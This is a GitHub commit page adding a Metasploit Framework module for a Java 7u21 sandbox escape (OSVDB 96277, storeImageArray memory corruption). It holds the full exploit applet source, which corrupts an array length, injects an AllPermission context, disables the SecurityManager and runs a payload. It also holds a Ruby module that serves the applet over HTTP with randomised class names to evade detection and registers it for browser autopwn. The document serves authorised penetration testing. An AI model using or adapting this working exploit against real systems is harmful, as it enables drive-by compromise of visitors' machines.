Skip to content

Commit cc5804f

Browse files
author
jvazquez-r7
committed
Add Port for OSVDB 96277
1 parent 79acc96 commit cc5804f

File tree

6 files changed

+365
-0
lines changed

6 files changed

+365
-0
lines changed
581 Bytes
Binary file not shown.
553 Bytes
Binary file not shown.

data/exploits/jre17u21/Exploit.class

3.99 KB
Binary file not shown.
Lines changed: 197 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,197 @@
1+
import java.awt.image.*;
2+
import java.awt.color.*;
3+
import java.beans.Statement;
4+
import java.security.*;
5+
import metasploit.Payload;
6+
import java.applet.Applet;
7+
8+
public class Exploit extends Applet {
9+
10+
public void init() {
11+
12+
try {
13+
14+
// try several attempts to exploit
15+
for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){
16+
//System.out.println("Attempt #" + i);
17+
tryExpl();
18+
}
19+
20+
// check results
21+
if (System.getSecurityManager() == null) {
22+
// execute payload
23+
//Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe");
24+
Payload.main(null);
25+
}
26+
27+
} catch (Exception ex) {
28+
//ex.printStackTrace();
29+
}
30+
}
31+
32+
public static String toHex(int i)
33+
{
34+
return Integer.toHexString(i);
35+
}
36+
37+
private boolean _is64 = System.getProperty("os.arch","").contains("64");
38+
39+
// we will need ColorSpace which returns 1 from getNumComponents()
40+
class MyColorSpace extends ICC_ColorSpace
41+
{
42+
public MyColorSpace()
43+
{
44+
super(ICC_Profile.getInstance(ColorSpace.CS_sRGB));
45+
}
46+
47+
// override getNumComponents
48+
public int getNumComponents()
49+
{
50+
int res = 1;
51+
return res;
52+
}
53+
}
54+
55+
// we will need ComponentColorModel with the obedient isCompatibleRaster() which always returns true.
56+
class MyColorModel extends ComponentColorModel
57+
{
58+
public MyColorModel()
59+
{
60+
super(new MyColorSpace(), new int[]{8,8,8}, false, false, 1, DataBuffer.TYPE_BYTE);
61+
}
62+
63+
// override isCompatibleRaster
64+
public boolean isCompatibleRaster(Raster r)
65+
{
66+
boolean res = true;
67+
return res;
68+
}
69+
}
70+
71+
72+
private int tryExpl()
73+
{
74+
try {
75+
// alloc aux vars
76+
String name = "setSecurityManager";
77+
Object[] o1 = new Object[1];
78+
Object o2 = new Statement(System.class, name, o1); // make a dummy call for init
79+
80+
// allocate byte buffer for destination Raster.
81+
DataBufferByte dst = new DataBufferByte(16);
82+
83+
// allocate the target array right after dst
84+
int[] a = new int[8];
85+
// allocate an object array right after a[]
86+
Object[] oo = new Object[7];
87+
88+
// create Statement with the restricted AccessControlContext
89+
oo[2] = new Statement(System.class, name, o1);
90+
91+
// create powerful AccessControlContext
92+
Permissions ps = new Permissions();
93+
ps.add(new AllPermission());
94+
oo[3] = new AccessControlContext(
95+
new ProtectionDomain[]{
96+
new ProtectionDomain(
97+
new CodeSource(
98+
new java.net.URL("file:///"),
99+
new java.security.cert.Certificate[0]
100+
),
101+
ps
102+
)
103+
}
104+
);
105+
106+
// store System.class pointer in oo[]
107+
oo[4] = ((Statement)oo[2]).getTarget();
108+
109+
// save old a.length
110+
int oldLen = a.length;
111+
//System.out.println("a.length = 0x" + toHex(oldLen));
112+
113+
// create regular source image
114+
BufferedImage bi1 = new BufferedImage(4,1, BufferedImage.TYPE_INT_ARGB);
115+
116+
// prepare the sample model with "dataBitOffset" pointing outside dst[] onto a.length
117+
MultiPixelPackedSampleModel sm = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,1,1,4, 44 + (_is64 ? 8:0));
118+
// create malformed destination image based on dst[] data
119+
WritableRaster wr = Raster.createWritableRaster(sm, dst, null);
120+
BufferedImage bi2 = new BufferedImage(new MyColorModel(), wr, false, null);
121+
122+
// prepare first pixel which will overwrite a.length
123+
bi1.getRaster().setPixel(0,0, new int[]{-1,-1,-1,-1});
124+
125+
// call the vulnerable storeImageArray() function (see ...\jdk\src\share\native\sun\awt\medialib\awt_ImagingLib.c)
126+
AffineTransformOp op = new AffineTransformOp(new java.awt.geom.AffineTransform(1,0,0,1,0,0), null);
127+
op.filter(bi1, bi2);
128+
129+
// check results: a.length should be overwritten by 0xFFFFFFFF
130+
int len = a.length;
131+
//System.out.println("a.length = 0x" + toHex(len));
132+
if (len == oldLen) {
133+
// check a[] content corruption // for RnD
134+
for(int i=0; i < len; i++) {
135+
if (a[i] != 0) {
136+
//System.out.println("a["+i+"] = 0x" + toHex(a[i]));
137+
}
138+
}
139+
// exit
140+
//System.out.println("error 1");
141+
return 1;
142+
}
143+
144+
// ok, now we can read/write outside the real a[] storage,
145+
// lets find our Statement object and replace its private "acc" field value
146+
147+
// search for oo[] after a[oldLen]
148+
boolean found = false;
149+
int ooLen = oo.length;
150+
for(int i=oldLen+2; i < oldLen+32; i++)
151+
if (a[i-1]==ooLen && a[i]==0 && a[i+1]==0 // oo[0]==null && oo[1]==null
152+
&& a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null
153+
&& a[i+5]==0 && a[i+6]==0) // oo[5,6] == null
154+
{
155+
// read pointer from oo[4]
156+
int stmTrg = a[i+4];
157+
// search for the Statement.target field behind oo[]
158+
for(int j=i+7; j < i+7+64; j++){
159+
if (a[j] == stmTrg) {
160+
// overwrite default Statement.acc by oo[3] ("AllPermission")
161+
a[j-1] = a[i+3];
162+
found = true;
163+
break;
164+
}
165+
}
166+
if (found) break;
167+
}
168+
169+
// check results
170+
if (!found) {
171+
// print the memory dump on error // for RnD
172+
String s = "a["+oldLen+"...] = ";
173+
for(int i=oldLen; i < oldLen+32; i++) s += toHex(a[i]) + ",";
174+
//System.out.println(s);
175+
} else try {
176+
177+
// call System.setSecurityManager(null)
178+
((Statement)oo[2]).execute();
179+
180+
// show results: SecurityManager should be null
181+
} catch (Exception ex) {
182+
//ex.printStackTrace();
183+
}
184+
185+
//System.out.println(System.getSecurityManager() == null ? "Ok.":"Fail.");
186+
187+
} catch (Exception ex) {
188+
//ex.printStackTrace();
189+
}
190+
191+
return 0;
192+
}
193+
194+
}
195+
196+
197+
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
CLASSES = Exploit.java
2+
3+
.SUFFIXES: .java .class
4+
.java.class:
5+
javac -source 1.2 -target 1.2 -cp "../../../../data/java" Exploit.java
6+
7+
all: $(CLASSES:.java=.class)
8+
9+
install:
10+
mv *.class ../../../../data/exploits/jre17u21/
11+
12+
clean:
13+
rm -rf *.class
14+
Lines changed: 154 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,154 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
11+
class Metasploit3 < Msf::Exploit::Remote
12+
Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default
13+
14+
include Msf::Exploit::Remote::HttpServer::HTML
15+
16+
include Msf::Exploit::Remote::BrowserAutopwn
17+
autopwn_info({ :javascript => false })
18+
19+
def initialize( info = {} )
20+
super( update_info( info,
21+
'Name' => 'Java storeImageArray() Invalid Array Indexing Vulnerability',
22+
'Description' => %q{
23+
This module abuses an Invalid Array Indexing Vulnerability on the
24+
IntegerInterleavedRaster.verify() function in order to produce a
25+
memory corruption and finally escape the Java Sandbox. The vulnerability
26+
affects Java version 7u21 and earlier. The module, which doesn't bypass
27+
click2play, has been tested successfully on Java 7u21 on Windows and
28+
Linux systems.
29+
},
30+
'License' => MSF_LICENSE,
31+
'Author' =>
32+
[
33+
'Unknown', # From PacketStorm
34+
'sinn3r', # Metasploit
35+
'juan vazquez' # Metasploit
36+
],
37+
'References' =>
38+
[
39+
[ 'OSVDB', '96277' ],
40+
[ 'EDB', '27526' ]
41+
],
42+
'Platform' => [ 'java', 'win', 'linux' ],
43+
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
44+
'Targets' =>
45+
[
46+
[ 'Generic (Java Payload)',
47+
{
48+
'Arch' => ARCH_JAVA,
49+
'Platform' => 'java'
50+
}
51+
],
52+
[ 'Windows Universal',
53+
{
54+
'Arch' => ARCH_X86,
55+
'Platform' => 'win'
56+
}
57+
],
58+
[ 'Linux x86',
59+
{
60+
'Arch' => ARCH_X86,
61+
'Platform' => 'linux'
62+
}
63+
]
64+
],
65+
'DefaultTarget' => 0,
66+
'DisclosureDate' => 'Aug 12 2013'
67+
))
68+
end
69+
70+
def setup
71+
path = File.join(Msf::Config.install_root, "data", "exploits", "jre17u21", "Exploit.class")
72+
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
73+
path = File.join(Msf::Config.install_root, "data", "exploits", "jre17u21", "Exploit$MyColorModel.class")
74+
@color_model_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
75+
path = File.join(Msf::Config.install_root, "data", "exploits", "jre17u21", "Exploit$MyColorSpace.class")
76+
@color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
77+
78+
@exploit_class_name = rand_text_alpha("Exploit".length)
79+
@color_model_class_name = rand_text_alpha("MyColorModel".length)
80+
@color_space_class_name = rand_text_alpha("MyColorSpace".length)
81+
82+
@exploit_class.gsub!("Exploit", @exploit_class_name)
83+
@exploit_class.gsub!("MyColorModel", @color_model_class_name)
84+
@exploit_class.gsub!("MyColorSpace", @color_space_class_name)
85+
86+
@color_model_class.gsub!("Exploit", @exploit_class_name)
87+
@color_model_class.gsub!("MyColorModel", @color_model_class_name)
88+
@color_model_class.gsub!("MyColorSpace", @color_space_class_name)
89+
90+
91+
@color_space_class.gsub!("Exploit", @exploit_class_name)
92+
@color_space_class.gsub!("MyColorModel", @color_model_class_name)
93+
@color_space_class.gsub!("MyColorSpace", @color_space_class_name)
94+
95+
super
96+
end
97+
98+
def on_request_uri( cli, request )
99+
print_debug("Requesting: #{request.uri}")
100+
if request.uri !~ /\.jar$/i
101+
if not request.uri =~ /\/$/
102+
print_status("Sending redirect...")
103+
send_redirect(cli, "#{get_resource}/", '')
104+
return
105+
end
106+
107+
print_status("Sending HTML...")
108+
send_response_html(cli, generate_html, {'Content-Type'=>'text/html'})
109+
return
110+
end
111+
112+
print_status("Sending .jar file...")
113+
send_response(cli, generate_jar(cli), {'Content-Type'=>'application/java-archive'})
114+
115+
handler( cli )
116+
end
117+
118+
def generate_html
119+
jar_name = rand_text_alpha(5+rand(3))
120+
html = %Q|<html>
121+
<head>
122+
</head>
123+
<body>
124+
<applet archive="#{jar_name}.jar" code="#{@exploit_class_name}" width="1000" height="1000">
125+
</applet>
126+
</body>
127+
</html>
128+
|
129+
html = html.gsub(/^\t\t/, '')
130+
return html
131+
end
132+
133+
def generate_jar(cli)
134+
135+
p = regenerate_payload(cli)
136+
jar = p.encoded_jar
137+
138+
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
139+
jar.add_file("#{@exploit_class_name}$#{@color_model_class_name}.class", @color_model_class)
140+
jar.add_file("#{@exploit_class_name}$#{@color_space_class_name}.class", @color_space_class)
141+
metasploit_str = rand_text_alpha("metasploit".length)
142+
payload_str = rand_text_alpha("payload".length)
143+
jar.entries.each { |entry|
144+
entry.name.gsub!("metasploit", metasploit_str)
145+
entry.name.gsub!("Payload", payload_str)
146+
entry.data = entry.data.gsub("metasploit", metasploit_str)
147+
entry.data = entry.data.gsub("Payload", payload_str)
148+
}
149+
jar.build_manifest
150+
151+
return jar.pack
152+
end
153+
154+
end

0 commit comments

Comments
 (0)